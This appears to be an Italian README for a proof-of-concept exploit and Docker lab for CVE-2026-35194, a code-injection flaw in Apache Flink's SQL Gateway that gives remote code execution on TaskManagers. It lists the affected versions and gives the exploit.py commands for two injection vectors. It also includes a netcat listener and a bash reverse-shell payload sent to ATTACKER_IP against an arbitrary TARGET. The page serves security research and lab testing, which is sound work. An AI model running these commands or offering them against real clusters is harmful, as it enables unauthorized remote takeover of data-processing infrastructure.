
Proof-of-concept di exploit e laboratorio Docker per CVE-2026-35194, un'iniezione di codice SQL in Apache Flink che consente l'esecuzione remota di codice sui TaskManager tramite l'API REST di SQL Gateway.
Esecuzione di codice in remoto sui TaskManager di Apache Flink tramite injection nella generazione di codice SQL.
| CVE | CVE-2026-35194 |
| CVSS | 8.1 (High) |
| CWE | CWE-94 — Code Injection |
| Affected | Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0 |
| Fixed | 1.20.4 / 2.0.2 / 2.1.2 / 2.2.1 |
| Attack Surface | SQL Gateway REST API (default port 8083, no auth) |
docker compose up -d
Attendere ~30s per l'avvio del cluster. Vengono avviati due servizi:
http://localhost:8081http://localhost:8083Verifica:
curl -s http://localhost:8083/v1/info
# Should return version "1.20.3"
pip install requests
JSON vector:
python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"
LIKE vector:
python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"
Version check only (no RCE):
python3 exploit.py localhost -p 8083 --check-only
Verify RCE on TaskManager:
docker exec flink-taskmanager cat /tmp/pwned
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — exploit
python3 exploit.py TARGET -p 8083 -v json \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
[--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
target
Options:
target Target host (IP or hostname)
-p, --port SQL Gateway port (default: 8083)
-c, --command Shell command to run on TaskManager
-v, --vector json (default) or like
--check-only Version check only, no exploit
-t, --timeout Request timeout in seconds (default: 30)
--cert / --key Client cert + key for mTLS environments
--ssl Force HTTPS
Solo per ricerca di sicurezza autorizzata e scopi educativi.